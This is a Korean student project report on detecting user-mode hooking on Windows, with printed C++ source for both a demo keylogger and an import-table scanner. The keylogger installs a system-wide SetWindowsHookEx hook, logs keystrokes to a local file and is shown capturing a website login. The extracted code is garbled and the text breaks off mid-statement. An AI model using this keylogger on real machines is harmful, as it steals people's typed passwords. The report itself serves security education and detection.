유저영역후킹탐지시스템 팀 명 : D.N.F (Do Not Fishing) 지도교수 : 유승재교수님 팀 장 : 신동순 팀 원 : 서현찬이치목 2016. 05 중부대학교정보보호학과
목 차 1. 서론 2. 관련연구 2.1 IAT 후킹 2.2 PE 구조 3. 본론 3.1 유저영역후킹작성및실행 3.2 유저영역후킹탐지 4. 결론 5. 참고자료 6. 발표자료
1. 서론 현재온라인게임이나온라인뱅킹업무에해킹사례가늘어나고있다. 이러한해킹기법중하나인후킹기술에대하여연구하려고한다. 후킹기법은 Windows에서자주일어나며후킹의종류는커널후킹 ( 루트킷 ), 유저영역후킹이있다. 우리는그중유저영역의후킹을탐지하려고한다. 다시유저영역의후킹은 IAT후킹, EAT후킹, 직접적인코드를삽입하는코드후킹등이있다. 이러한후킹중에서 IAT후킹을직접구현해보고이를탐지할수있는방법을소개할것이다. 먼저후킹에대한이해가필요하다후킹이란도대체어떤것인가? 후킹이하는역할은무 엇인가? 이를탐지하려면어떻게해야하는가를설명하겠다. 먼저후킹이란무엇인가? 후킹 (hooking) 은소프트웨어공학용어로, 운영체제나응용소프트웨어등의각종컴퓨터프로그램에서소프트웨어구성요소간에발생하는함수호출, 메시지, 이벤트등을중간에서바꾸거나가로채는명령, 방법, 기술이나행위를말한다. 이때이러한간섭된함수호출, 이벤트또는메시지를처리하는코드를후크 (hook) 라고한다. (1) 후킹의정의이다. 이러한후킹이과연실제컴퓨터에선어떻게일어나는지아래그림을보 면알수있다. ( 그림 1. 후킹과정 ) ( 그림 1) 을보게되면후킹을아주잘나타내고있다. NotePad.exe 에서 Kernel32.dll 로 call 과 return 을서로하게된다. 하지만중간에 Hook.dll 이라는 dll 이껴들어중간과정을
가로채고있다. 이러한모든행위를후킹이라고한다. 즉, 프로세스와커널, 프로세스와프로세스사이에통신과정을중간에훔치거나조작하는행위를후킹이라고한다. 우리는이러한후킹중에유저영역에서일어나는후킹, IAT 후킹을설명할것이다. 본문에서사용되는운영체제는 Windows7 32bit를사용하였고, 컴파일러로는 Visual Studio 2015 Community 버전을사용하였다. 2. 관련연구 2.1 IAT 후킹 ( 그림 2. IAT) IAT(Import Address Table) 는프로세스의함수들을관리한다. 함수들이메모리어디에적재되고있는지를알수있는테이블이다. 즉, 이테이블을후킹하여함수를알아내고함수를후킹하여원하는정보를가로채는후킹방법이다. 우리는 IAT를이용하여탐지를할것이다. 이 IAT는 PE구조안에들어가있다. 그럼 PE구조가무엇인지알아야 IAT를이용을할것이다. 2.2 PE 구조 PE(Portable Executable) 의종류는아래표 1 과같다. 실행파일계열라이브러리계열드라이버계열오브젝트파일계열 EXE, SCR DLL, OCX SYS OBJ ( 표 1. PE Menu)
OBJ파일을제외한모든파일은실행이가능한파일이다. 실행이가능한파일들은모두 PE 헤더를갖고있다. 어떻게메모리에적재되고, 어디에서부터실행해야하는지, 실행에필요한 DLL들은어떤것이있고, 필요한 Stack/Heap은어디서부터어디까지인지등이 PE헤더안에모두들어가있다. 그만큼 PE헤더는중요하다. PE 헤더에는이러한정보들이모두구조체로정의되어있다. 이 PE헤더안에 IAT도구조체로정의되어있다. 그러므로 PE헤더를꼭알고넘어가야한다. ( 그림 3. PE 헤더기본구조 ) 이러한형식으로 PE 헤더는저장되어있다. 여기서 IAT 를이용하여후킹을탐지할것이다. 3. 본론 3.1 유저영역키로거작성및실행 후킹을탐지하기위해선어떻게후킹이되어야하는지알아야한다. 그러므로직접적으로키로거작성과직접적으로실행을해보겠다. 전역적인후킹을이용하여시스템자체를후킹을하고키보드의입력값을 C드라이브아래에 test.txt 파일에저장이되게만들었다. Hooker.dll 에서후킹을실제적으로하는함수들이들어있고 D.N.F_ATTACK에는실제메인소스가들어있다. 메인소스에서는 hooker.dll을호출하고윈도우폼에관련된소스들이있다. #include <Windows.h> #include<stdio.h> extern "C" declspec(dllexport) LRESULT CALLBACK GetMsgProc(INT ncode, WPARAM wp, LPARAM lp) if(((msg*)lp)->message == (long)wm_char)
HANDLE hfile; DWORD dwwrite; hfile = CreateFile(TEXT("c:\\test.txt"), GENERIC_WRITE, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); SetFilePointer(hFile, 0, 0, FILE_END); WriteFile(hFile, &((MSG*)lp)->wParam, 1, &dwwrite, NULL); CloseHandle(hFile); return TRUE; ( 소스 1. Hooker.dll) 위의소스코드는 Hooker.dll 이고아래소스부터는 D.N.F_attack 의메인소스이다. #include<windows.h> #include<stdio.h> #include"resource.h" #include <commctrl.h>// 리스트뷰헤더 #include "tlhelp32.h"// 프로세스정보헤더 #include <gdiplus.h> #include "richedit.h" #pragma comment(lib, "Gdiplus.lib") using namespace Gdiplus; void HookProc(HWND hwnd); void OnPaint(HDC hdc, const wchar_t* name, int high, int weigt); BOOL CALLBACK AboutDlgProc(HWND hdlg, UINT imessage, WPARAM wparam, LPARAM lparam); LRESULT CALLBACK WndProc(HWND hwnd, UINT imessage, WPARAM wparam, LPARAM lparam); HINSTANCE g_hinst; static HHOOK hkeyhook; LPCTSTR TeamName = TEXT("D.N.F_Attack"); LPCTSTR hook = TEXT("API HOOKING");
int WINAPI WinMain(HINSTANCE hinstance, HINSTANCE hprevinstance, LPSTR lpcmdline, int nshowcmd) HWND hwnd; MSG message; WNDCLASS wndclass; HMODULE hmod; wndclass.cbclsextra = 0; wndclass.cbwndextra = 0; wndclass.hbrbackground = CreateSolidBrush(RGB(255, 255, 255));; wndclass.hcursor = LoadCursor(NULL, IDC_ARROW); wndclass.hicon = LoadIcon(hInstance, (LPCWSTR)IDI_logoA); wndclass.hinstance = g_hinst; wndclass.lpfnwndproc = (WNDPROC)WndProc; wndclass.lpszclassname = TeamName; wndclass.lpszmenuname = MAKEINTRESOURCE(IDR_MENU1); wndclass.style = NULL ULONG_PTR gptoken;// GDI+ 쓰려면이거써야함 ( 로고박으려면 ) GdiplusStartupInput gpsi; if (GdiplusStartup(&gpToken, &gpsi, NULL)!= Ok) MessageBox(NULL, TEXT("GDI+ 라이브러리를초기화할수없습니다."), TEXT(" 알림 "), MB_OK); return 0; RegisterClass(&wndclass); hwnd = CreateWindow(TeamName, TeamName, WS_OVERLAPPED WS_SYSMENU WS_MINIMIZEBOX, CW_USEDEFAULT, CW_USEDEFAULT, 250, 300, NULL, (HMENU)NULL, g_hinst, NULL); ShowWindow(hWnd, nshowcmd); while (GetMessage(&message, NULL, 0, 0)) TranslateMessage(&message); DispatchMessage(&message); return message.wparam; void HookProc(HWND hwnd)// 후킹함수
static HINSTANCE hinstdll; HOOKPROC hgetmsgproc; hinstdll = LoadLibrary(TEXT("hooker.dll")); if (!hinstdll) MessageBox(hWnd, TEXT("hooker.dll을로드할수없습니다."), TEXT(" 오류 "), MB_OK); ExitProcess(1); hgetmsgproc = (HOOKPROC)GetProcAddress(hinstDll, "GetMsgProc"); if (!hgetmsgproc) MessageBox(hWnd, TEXT("GetMsgProc 함수를찾을수없습니다."), TEXT(" 오류 "), MB_OK); FreeLibrary(hinstDll); ExitProcess(1); hkeyhook = SetWindowsHookEx(WH_GETMESSAGE, hgetmsgproc, hinstdll, 0); if (!hkeyhook) MessageBox(hWnd, TEXT("Hooking을성공하지못했습니다."), TEXT(" 오류 "), MB_OK); FreeLibrary(hinstDll); ExitProcess(1); void OnPaint(HDC hdc, const wchar_t* name, int high, int weigt)// 로고박는거 Graphics G(hdc); Image image(name); G.DrawImage(&image, high, weigt); BOOL CALLBACK AboutDlgProc(HWND hdlg, UINT imessage, WPARAM wparam, LPARAM lparam)// 도움말 switch (imessage) case WM_INITDIALOG: return TRUE case WM_COMMAND: switch (LOWORD(wParam)) case IDOK: EndDialog(hDlg, IDOK); return TRUE
case IDCANCEL: EndDialog(hDlg, IDCANCEL); return TRUE break return FALSE LRESULT CALLBACK WndProc(HWND hwnd, UINT imessage, WPARAM wparam, LPARAM lparam) LPARAM lp = (LPARAM)lParam int ret = FALSE static int i = 0; switch (imessage) case WM_CREATE: CreateWindow(TEXT("button"), TEXT(" 시작 / 중지 "), WS_CHILD WS_VISIBLE BS_PUSHBUTTON, 115, 10, 100, 25, hwnd, (HMENU)i, g_hinst, NULL); return 0; case WM_COMMAND: switch (LOWORD(wParam)) case ID_Help_info: DialogBox(g_hInst, MAKEINTRESOURCE(IDD_Help), hwnd, AboutDlgProc); return 0; switch (HIWORD(wParam)) case BN_CLICKED: i++; if (i == TRUE) HookProc(hWnd); MessageBox(hWnd, TEXT(" 후킹이시작되었습니다."), TEXT(" 알림 "), MB_OK); return TRUE else ret = UnhookWindowsHookEx(hKeyHook); hkeyhook = NULL MessageBox(hWnd, TEXT(" 후킹이중지되었습니다."), TEXT(" 알림 "), MB_OK);
i = 0; return ret; return 0; case WM_PAINT:// 항상글자출력 PAINTSTRUCT ps; HDC hdc; hdc = BeginPaint(hWnd, &ps); SetBkColor(hdc, RGB(255, 255, 255)); TextOut(hdc, 15, 15, hook, lstrlen(hook)); TextOut(hdc, 40, 200, TEXT("Copyright(C) 2016 D.N.F"), lstrlen(text("copyright(c) 2016 D.N.F"))); TextOut(hdc, 55, 220, TEXT("All rights reserved"), lstrlen(text("all rights reserved"))); OnPaint(hdc, L"C:\\resource\\logo.png", 30, 120); OnPaint(hdc, L"C:\\resource\\teamA.png", 48, 80); EndPaint(hWnd, &ps); return 0; case WM_DESTROY: PostQuitMessage(0); break return DefWindowProc(hWnd, imessage, wparam, lparam); ( 소스 2. D.N.F_Attack) 각소스코드를컴파일하고실행하게되면아래와같은화면을볼수있다. ( 그림 4. D.N.F_Attack 실행화면 )
API Hooking 시작을누르게되면후킹이시작된다. 시작과동시에시스템전역으로후킹 을하게되고모든프로세스에서키보드를후킹하게된다. ( 그림 5. 웹사이트로그인후킹 ) 3.2 유저영역후킹탐지 먼저 SetWindowsHookEx를탐지해야한다. SetWindwosHookEx는메시지에훅을거는함수다. 또한이함수는 IAT에서볼수있다. 즉프로세스에서 SetWindowsHookEx를사용하게되면 IAT에등록이된다. 이함수들을 PEHeader를이용하여어디서어떻게사용되는지볼수있다. PEHeader의첫부분은항상 DOS_HEADER로시작된다. 이를덤프하게되면 MZ로시작하는문자열이나오게된다. 여기서부터 NT_HEADER와 OPTIONAL_HEADER의오프셋을구하고다시여기서 IAT의주소를구할수있다. IAT에서 SetWindowsHookEx를찾고만약존재한다면이프로세스 ( 또는 DLL) 에선함수를사용하는것이고위험한프로세스로판단하면된다. 이를의심테이블에등록하고테이블에서 DLL들을볼수있으며 "hook" 이들어간함수들을모두검출하게된다. #include <Windows.h> #include <stdio.h> #include "resource.h" #include <commctrl.h>// 리스트뷰헤더 #include <tlhelp32.h>// 프로세스정보헤더 #include <gdiplus.h> #include <psapi.h>
#include <string.h> #include <atlstr.h> #include <commctrl.h> #pragma comment(lib, "Gdiplus.lib") using namespace Gdiplus; void GetPath(DWORD processid); void IATScanner(LPCTSTR szfilename, int num, HWND *hlist2); void PrintFuc(LPCTSTR szfilename, int num); void OnInitCOL(HWND hlist); void GetProcess(HWND *hlist); BOOL CALLBACK AboutDlgProc(HWND hdlg, UINT imessage, WPARAM wparam, LPARAM lparam); BOOL CALLBACK DetailDlgProc(HWND hdlg, UINT imessage, WPARAM wparam, LPARAM lparam); LRESULT CALLBACK WndProc(HWND hwnd, UINT imessage, WPARAM wparam, LPARAM lparam); HWND hwnd; HINSTANCE g_hinst; LPCTSTR TeamName = TEXT("D.N.F_Detector"); HWND hlist, hlist2, Detail1, Detail2;// 리스트뷰핸들값 DWORD PID[MAX_PATH]; HMODULE BASE[MAX_PATH]; TCHAR *Pname[MAX_PATH] = 0, ; TCHAR *Ppath[MAX_PATH] = 0, ; TCHAR *FucList[128][128] = 0, ; int PIDsize; struct LIST_ITEM_INFO COLORREFcolorBK;// 배경색 COLORREFcolorText;// 글씨색 TCHARstr[MAX_PATH]; olistitem[128]; int WINAPI WinMain(HINSTANCE hinstance, HINSTANCE hprevinstance, LPSTR lpcmdline, int nshowcmd)
MSG message; WNDCLASS wndclass; HACCEL Accel; Accel = LoadAccelerators(hInstance, MAKEINTRESOURCE(IDR_ACCELERATOR1));// 새로고침단축키 wndclass.cbclsextra = 0; wndclass.cbwndextra = 0; wndclass.hbrbackground = CreateSolidBrush(RGB(255, 255, 255)); wndclass.hcursor = LoadCursor(NULL, IDC_ARROW); wndclass.hicon = LoadIcon(hInstance, (LPCTSTR)IDI_logoD); wndclass.hinstance = g_hinst; wndclass.lpfnwndproc = (WNDPROC)WndProc; wndclass.lpszclassname = TeamName; wndclass.lpszmenuname = MAKEINTRESOURCE(IDR_MENU1); wndclass.style = NULL ULONG_PTR gptoken;// GDI+ 쓰려면이거써야함 (PNG 파일사용할때 ) GdiplusStartupInput gpsi; if (GdiplusStartup(&gpToken, &gpsi, NULL)!= Ok) MessageBox(NULL, TEXT("GDI+ 라이브러리를초기화할수없습니다."), TEXT(" 알림 "), MB_OK); return 0; RegisterClass(&wndclass); hwnd = CreateWindow(TeamName, TeamName, WS_CAPTION WS_SYSMENU WS_MINIMIZEBOX, CW_USEDEFAULT, CW_USEDEFAULT, 1000, 370, NULL, (HMENU)NULL, g_hinst, NULL); ShowWindow(hWnd, nshowcmd); while (GetMessage(&message, NULL, 0, 0)) if (!TranslateAccelerator(hWnd, Accel, &message)) TranslateMessage(&message); DispatchMessage(&message); return message.wparam; void GetPath(DWORD processid)// 프로세스절대주소가져오기
HMODULE hmods[128]; HANDLE hprocess; DWORD cbneeded; TCHAR szmodname[max_path]; static int count = 0; hprocess = OpenProcess(PROCESS_QUERY_INFORMATION PROCESS_VM_READ, FALSE, processid); if (NULL == hprocess) return if (Ppath[count + 2] == NULL) Ppath[count + 2] = (TCHAR *)calloc(1, _countof(szmodname)* sizeof(tchar)); ZeroMemory(szModName, sizeof(szmodname)); EnumProcessModules(hProcess, hmods, sizeof(hmods), &cbneeded); GetModuleFileNameEx(hProcess, NULL, szmodname, sizeof(szmodname) / sizeof(tchar)); wcscpy_s(ppath[count + 2], _countof(szmodname), szmodname); BASE[count] = hmods[0]; count++; CloseHandle(hProcess); if (processid == PID[PIDsize - 1])count = 0; void IATScanner(LPCTSTR szfilename, int num, HWND *hlist2)// IAT 검사 int i = 0; static int count = 0; bool check = FALSE if (num == 0) SendMessage(*hList2, LVM_DELETEALLITEMS, 0, 0); count = 0; HANDLE hfile = CreateFile(szFileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
if (hfile == INVALID_HANDLE_VALUE) return HANDLE himgmap = CreateFileMapping(hFile, NULL, PAGE_READONLY, 0, 0, NULL); if (himgmap == NULL) return PVOID pimgview = MapViewOfFile(hImgMap, FILE_MAP_READ, 0, 0, 0); if (pimgview == NULL) return PIMAGE_DOS_HEADER psehidh = (PIMAGE_DOS_HEADER)pImgView; PIMAGE_NT_HEADERS psehinh = (PIMAGE_NT_HEADERS)((DWORD)pSehIDH + psehidh->e_lfanew); PIMAGE_OPTIONAL_HEADER pioh = (PIMAGE_OPTIONAL_HEADER)&pSehINH->OptionalHeader; PIMAGE_DATA_DIRECTORY pidd = &pioh->datadirectory[image_directory_entry_import]; PIMAGE_SECTION_HEADER psec = (PIMAGE_SECTION_HEADER)((PBYTE)pIOH + sizeof(image_optional_header)); PIMAGE_SECTION_HEADER pish = NULL PIMAGE_FILE_HEADER pifh = &psehinh->fileheader; int wnumofsec = pifh->numberofsections; //.idata 섹션이따로존재하지않고다른섹션에포함되어있는경우가많음 // 그래서섹션헤더를하나씩검사하면서.idata 섹션의위치를구함 for (int i = 0; i < wnumofsec; ++i) if (pidd->virtualaddress >= psec[i].virtualaddress && pidd->virtualaddress < psec[i].virtualaddress + psec[i].misc.virtualsize) pish = &psec[i]; break if (pish == NULL) MessageBox(hWnd, TEXT("No Imports Table Found"), TEXT(" 오류 "), MB_OK); return
DWORD dwdelta = pish->virtualaddress - pish->pointertorawdata; if (pidd->virtualaddress - dwdelta >= pioh->sizeofimage) MessageBox(hWnd, TEXT("No Imports Table Found"), TEXT(" 오류 "), MB_OK); return PIMAGE_IMPORT_DESCRIPTOR piid = (PIMAGE_IMPORT_DESCRIPTOR)((PBYTE)pImgView + pidd->virtualaddress - dwdelta); for (i = 0; piid[i].originalfirstthunk piid[i].firstthunk; ++i) if (piid[i].originalfirstthunk) if (piid[i].originalfirstthunk - dwdelta >= pioh->sizeofimage piid[i].firstthunk - dwdelta >= pioh->sizeofimage) goto $end; PIMAGE_THUNK_DATA32 poft = (PIMAGE_THUNK_DATA32)((PBYTE)pImgView + piid[i].originalfirstthunk - dwdelta); PIMAGE_THUNK_DATA32 piat = (PIMAGE_THUNK_DATA32)((PBYTE)pImgView + piid[i].firstthunk - dwdelta); for (int j = 0; *((PDWORD)pOFT + j); ++j) if (*((PDWORD)pOFT + j) - dwdelta < pioh->sizeofimage) PIMAGE_IMPORT_BY_NAME piibn = (PIMAGE_IMPORT_BY_NAME)((PBYTE)pImgView + *((PDWORD)pOFT + j) - dwdelta); if (strstr(piibn->name, "Hook")!= NULL) check = TRUE else if (piid[i].firstthunk) if (piid[i].firstthunk - dwdelta >= pioh->sizeofimage) goto $end; PIMAGE_THUNK_DATA32 piat = (PIMAGE_THUNK_DATA32)((PBYTE)pImgView + piid[i].firstthunk - dwdelta); for (int j = 0; *((PDWORD)pIAT + j); ++j)
if (*((PDWORD)pIAT + j) - dwdelta < pioh->sizeofimage) PIMAGE_IMPORT_BY_NAME piibn = (PIMAGE_IMPORT_BY_NAME)((PBYTE)pImgView + *((PDWORD)pIAT + j) - dwdelta); if (strstr(piibn->name, "Hook")!= NULL) check = TRUE $end:; TCHAR arr[10] = 0, ; LVITEM LI; if (check) LI.mask = LVIF_TEXT LI.iItem = count; // 행 ( 전체화면- 캡션포함 ) LI.iSubItem = 0; // 열 LI.pszText = Pname[num]; // 문자열값 wsprintf(arr, TEXT("%d"), PID[num]); ListView_InsertItem(*hList2, &LI); ListView_SetItemText(*hList2, count, 1, arr); count++; void PrintFuc(LPCTSTR szfilename, int num)// IAT 프린트 memset(fuclist, 0, sizeof(fuclist)); int i = 0; TCHAR arr[128] = 0, ; HANDLE hfile = CreateFile(szFileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL); if (hfile == INVALID_HANDLE_VALUE) return HANDLE himgmap = CreateFileMapping(hFile, NULL, PAGE_READONLY, 0, 0, NULL); if (himgmap == NULL)
return PVOID pimgview = MapViewOfFile(hImgMap, FILE_MAP_READ, 0, 0, 0); if (pimgview == NULL) return PIMAGE_DOS_HEADER psehidh = (PIMAGE_DOS_HEADER)pImgView; PIMAGE_NT_HEADERS psehinh = (PIMAGE_NT_HEADERS)((DWORD)pSehIDH + psehidh->e_lfanew); PIMAGE_OPTIONAL_HEADER pioh = (PIMAGE_OPTIONAL_HEADER)&pSehINH->OptionalHeader; PIMAGE_DATA_DIRECTORY pidd = &pioh->datadirectory[image_directory_entry_import]; PIMAGE_SECTION_HEADER psec = (PIMAGE_SECTION_HEADER)((PBYTE)pIOH + sizeof(image_optional_header)); PIMAGE_SECTION_HEADER pish = NULL PIMAGE_FILE_HEADER pifh = &psehinh->fileheader; int wnumofsec = pifh->numberofsections; //.idata 섹션이따로존재하지않고다른섹션에포함되어있는경우가많음 // 그래서섹션헤더를하나씩검사하면서.idata 섹션의위치를구함 for (int i = 0; i < wnumofsec; ++i) if (pidd->virtualaddress >= psec[i].virtualaddress && pidd->virtualaddress < psec[i].virtualaddress + psec[i].misc.virtualsize) pish = &psec[i]; break if (pish == NULL) MessageBox(hWnd, TEXT("No Imports Table Found"), TEXT(" 오류 "), MB_OK); return DWORD dwdelta = pish->virtualaddress - pish->pointertorawdata; if (pidd->virtualaddress - dwdelta >= pioh->sizeofimage) MessageBox(hWnd, TEXT("No Imports Table Found"), TEXT(" 오류 "), MB_OK); return
PIMAGE_IMPORT_DESCRIPTOR piid = (PIMAGE_IMPORT_DESCRIPTOR)((PBYTE)pImgView + pidd->virtualaddress - dwdelta); for (i = 0; piid[i].originalfirstthunk piid[i].firstthunk; ++i) if (piid[i].name - dwdelta < pioh->sizeofimage) wsprintf(arr, L"%S", (LPCTSTR)((PBYTE)pImgView + piid[i].name - dwdelta)); SendMessage(Detail1, LB_ADDSTRING, 0, (LPARAM)arr); if (piid[i].originalfirstthunk) if (piid[i].originalfirstthunk - dwdelta >= pioh->sizeofimage piid[i].firstthunk - dwdelta >= pioh->sizeofimage) goto $end; PIMAGE_THUNK_DATA32 poft = (PIMAGE_THUNK_DATA32)((PBYTE)pImgView + piid[i].originalfirstthunk - dwdelta); PIMAGE_THUNK_DATA32 piat = (PIMAGE_THUNK_DATA32)((PBYTE)pImgView + piid[i].firstthunk - dwdelta); for (int j = 0; *((PDWORD)pOFT + j); ++j) if (*((PDWORD)pOFT + j) - dwdelta < pioh->sizeofimage) PIMAGE_IMPORT_BY_NAME piibn = (PIMAGE_IMPORT_BY_NAME)((PBYTE)pImgView + *((PDWORD)pOFT + j) - dwdelta); wsprintf(arr, L"%S", piibn->name); if (FucList[i][j] == NULL) FucList[i][j] = (TCHAR *)calloc(1, _countof(arr)* sizeof(tchar)); wcscpy_s(fuclist[i][j], _countof(arr), arr); else if (piid[i].firstthunk) if (piid[i].firstthunk - dwdelta >= pioh->sizeofimage) goto $end; PIMAGE_THUNK_DATA32 piat = (PIMAGE_THUNK_DATA32)((PBYTE)pImgView + piid[i].firstthunk - dwdelta); for (int j = 0; *((PDWORD)pIAT + j); ++j) if (*((PDWORD)pIAT + j) - dwdelta < pioh->sizeofimage)
PIMAGE_IMPORT_BY_NAME piibn = (PIMAGE_IMPORT_BY_NAME)((PBYTE)pImgView + *((PDWORD)pIAT + j) - dwdelta); wsprintf(arr, L"%S", piibn->name); if (FucList[i][j] == NULL) FucList[i][j] = (TCHAR *)calloc(1, _countof(arr) * sizeof(tchar)); wcscpy_s(fuclist[i][j], _countof(arr), arr); $end:; void OnInitCOL(HWND hlist)// 리스트뷰맨위에그거만드는거 LVCOLUMN COL; ListView_SetExtendedListViewStyle(hList, LVS_EX_FULLROWSELECT LVS_EX_GRIDLINES); COL.mask = LVCF_FMT LVCF_WIDTH LVCF_TEXT LVCF_SUBITEM COL.fmt = LVCFMT_LEFT COL.cx = 225; COL.pszText = TEXT(" 프로세스이름 "); COL.iSubItem = 0; ListView_InsertColumn(hList, 0, &COL); COL.cx = 225; COL.pszText = TEXT("PID"); COL.iSubItem = 1; ListView_InsertColumn(hList, 1, &COL); void GetProcess(HWND *hlist)// 프로세스이름가져오는함수, 리스트뷰에삽입 if (PIDsize!= 0) SendMessage(*hList, LVM_DELETEALLITEMS, 0, 0); LVITEM LI; HANDLE hsnap; PROCESSENTRY32 pe; TCHAR processname[128];// 프로세스이름저장변수 TCHAR processid[128];// 프로세스아이디저장변수 int i = 0;
hsnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (hsnap == (HANDLE)-1) return pe.dwsize = sizeof(processentry32); if (Process32First(hSnap, &pe)) do wsprintf(processname, TEXT("%s"), pe.szexefile);// 프로세스이름저장하기 wsprintf(processid, TEXT("%d"), pe.th32processid); // 프로세스아이디저장하기 LI.mask = LVIF_TEXT LI.iItem = i; // 행 ( 전체화면- 캡션포함 ) LI.iSubItem = 0; // 열 LI.pszText = processname; // 문자열값 if (Pname[i] == NULL) Pname[i] = (TCHAR *)calloc(1, sizeof(pe.szexefile)); wcscpy_s(pname[i], _countof(pe.szexefile), pe.szexefile); PID[i] = pe.th32processid; ListView_InsertItem(*hList, &LI); ListView_SetItemText(*hList, i, 1, processid); i++; while (Process32Next(hSnap, &pe)); PIDsize = i; CloseHandle(hSnap); void OnPaint(HDC hdc, const wchar_t* name, int high, int weigt)// 로고박는거 Graphics G(hdc); Image image(name); G.DrawImage(&image, high, weigt); BOOL CALLBACK AboutDlgProc(HWND hdlg, UINT imessage, WPARAM wparam, LPARAM lparam)// 도움말 switch (imessage) case WM_INITDIALOG: return TRUE case WM_COMMAND:
switch (LOWORD(wParam)) case IDOK: EndDialog(hDlg, IDOK); return TRUE case IDCANCEL: EndDialog(hDlg, IDCANCEL); return TRUE break return FALSE BOOL CALLBACK DetailDlgProc(HWND hdlg, UINT imessage, WPARAM wparam, LPARAM lparam)// 자세히보기 HBRUSH OldBrush, ColorBrush; LPDRAWITEMSTRUCT lpdis; static HBRUSH hbrush; int index = 0; switch (imessage) case WM_INITDIALOG: hbrush = CreateSolidBrush(RGB(255, 255, 255)); return TRUE case WM_CTLCOLORDLG: return (INT_PTR)hBrush; case WM_DRAWITEM: COLORREF colorbk, colortext; lpdis = (LPDRAWITEMSTRUCT)lParam LIST_ITEM_INFO *pdata = (LIST_ITEM_INFO*)lpdis->itemData; if (lpdis->itemstate & ODS_SELECTED) colorbk = (COLORREF)RGB(51,153,255); colortext = (COLORREF)RGB(255,255,255); else colorbk = (COLORREF)pData->colorBK; colortext = (COLORREF)pData->colorText;
ColorBrush = CreateSolidBrush(colorBK); // 이전브러쉬저장하고, 생성한브러쉬를선택 OldBrush = (HBRUSH)SelectObject(lpdis->hDC, ColorBrush); // 채움속성의사각형을출력 FillRect(lpdis->hDC, &lpdis->rcitem, ColorBrush); // 이전브러쉬를선택 SelectObject(lpdis->hDC, OldBrush); // 생성한브러쉬를제거 DeleteObject(ColorBrush); SetTextColor(lpdis->hDC, colortext); SetBkMode(lpdis->hDC, TRANSPARENT); DrawText(lpdis->hDC, pdata->str, -1, &lpdis->rcitem, DT_LEFT DT_VCENTER DT_WORDBREAK DT_SINGLELINE); return TRUE case WM_CTLCOLORSTATIC: SetTextColor((HDC)wParam, RGB(0, 0, 0 )); SetBkMode((HDC)wParam, TRANSPARENT); return (LRESULT)GetStockObject(NULL_BRUSH); case WM_COMMAND: switch (LOWORD(wParam)) case IDOK: EndDialog(hDlg, IDOK); return TRUE case IDCANCEL: EndDialog(hDlg, IDCANCEL); return TRUE case IDC_DLLBOX: switch (HIWORD(wParam)) case LBN_SELCHANGE: int i; bool check = FALSE SendMessage(Detail2, LB_RESETCONTENT, 0, 0); index = SendMessage(Detail1, LB_GETCURSEL, 0, 0); for (i = 0; i < 128; i++) TCHAR arrw[128] = 0, ;
if (FucList[index][i]!= 0) olistitem[i].colorbk = RGB(255, 255, 255); olistitem[i].colortext = RGB(0, 0, 0); wcscpy_s(olistitem[i].str, _countof(fuclist[index])*sizeof(tchar) + 4, FucList[index][i]); if (wcsstr(fuclist[index][i], TEXT("Hook"))!= NULL) olistitem[i].colortext = RGB(255, 0, 0); check = TRUE SendMessage(Detail2, LB_ADDSTRING, 0, (LPARAM)&olistItem[i]); if (check) MessageBox(hWnd, TEXT("DLL에서후킹이감지되었습니다."), TEXT(" 알림 "), MB_OK); return FALSE LRESULT CALLBACK WndProc(HWND hwnd, UINT imessage, WPARAM wparam, LPARAM lparam) int i; switch (imessage) case WM_CREATE: CreateWindow(TEXT("button"), TEXT(" 시작 "), WS_CHILD WS_VISIBLE BS_PUSHBUTTON, 873, 20, 100, 25, hwnd, (HMENU)0, g_hinst, NULL); hlist = CreateWindowEx(NULL, WC_LISTVIEW, NULL, WS_CHILD WS_VISIBLE WS_BORDER LVS_REPORT LBS_NOTIFY LVS_SINGLESEL LVS_NOSORTHEADER, 10, 50, 470, 200, hwnd, (HMENU)ID_LISTBOX, 0, 0); // 리스트뷰생성 hlist2 = CreateWindowEx(NULL, WC_LISTVIEW, NULL, WS_CHILD WS_VISIBLE WS_BORDER LVS_REPORT LBS_NOTIFY LVS_SINGLESEL LVS_NOSORTHEADER, 505, 50, 470, 200, hwnd, (HMENU)ID_LISTBOX2, 0, 0); // 리스트뷰생성 OnInitCOL(hList); OnInitCOL(hList2); GetProcess(&hList);
for (i = 0; i < PIDsize; i++) GetPath(PID[i]); return 0; case WM_COMMAND: switch (LOWORD(wParam)) case ID_PROGRAMINFO:// 도움말클릭 DialogBox(g_hInst, MAKEINTRESOURCE(IDD_DIALOG1), hwnd, AboutDlgProc); return 0; case ID_REFRESH: memset(pid, 0, sizeof(pid)); memset(base, 0, sizeof(base)); memset(pname, 0, sizeof(pname)); memset(ppath, 0, sizeof(ppath)); GetProcess(&hList); for (i = 0; i < PIDsize; i++) GetPath(PID[i]); return 0; switch (HIWORD(wParam)) case BN_CLICKED:// 버튼클릭 HWND hdig = CreateDialog(g_hInst, MAKEINTRESOURCE(IDD_PROGRESS), hwnd, NULL); SendMessage(GetDlgItem(hDig, IDC_PROGRESS1), PBM_SETRANGE, 0, MAKELPARAM(0, PIDsize - 1)); SendMessage(GetDlgItem(hDig, IDC_PROGRESS1), PBM_SETPOS, 0, 0); for (i = 0; i < PIDsize; i++) IATScanner(Ppath[i], i, &hlist2); SendMessage(GetDlgItem(hDig, IDC_PROGRESS1), PBM_SETPOS, i, 0); Sleep(5); EndDialog(hDig, NULL); return 0; case WM_NOTIFY:
LPNMHDR hdr; LPNMLISTVIEW nlv; hdr = (LPNMHDR)lParam nlv = (LPNMLISTVIEW)lParam if (hdr->hwndfrom == hlist2) switch (hdr->code) case NM_DBLCLK: if (nlv->iitem < 0) return 0; HWND Info = CreateDialog(g_hInst, MAKEINTRESOURCE(IDD_VIEW), hwnd, DetailDlgProc); Detail1 = GetDlgItem(Info, IDC_DLLBOX); Detail2 = GetDlgItem(Info, IDC_FUCBOX); int i; TCHAR arr[255] = 0, ; ListView_GetItemText(hList2, nlv->iitem, 0, arr, 255); for (i = 0; i < PIDsize; i++) if (!wcscmp(pname[i], arr)) break PrintFuc(Ppath[i], i); return 0; case WM_PAINT:// 항상글자출력 PAINTSTRUCT ps; HDC hdc; hdc = BeginPaint(hWnd, &ps); SetBkColor(hdc, RGB(255, 255, 255)); TextOut(hdc, 15, 30, TEXT("Current Running Process"), lstrlen(text("current Running 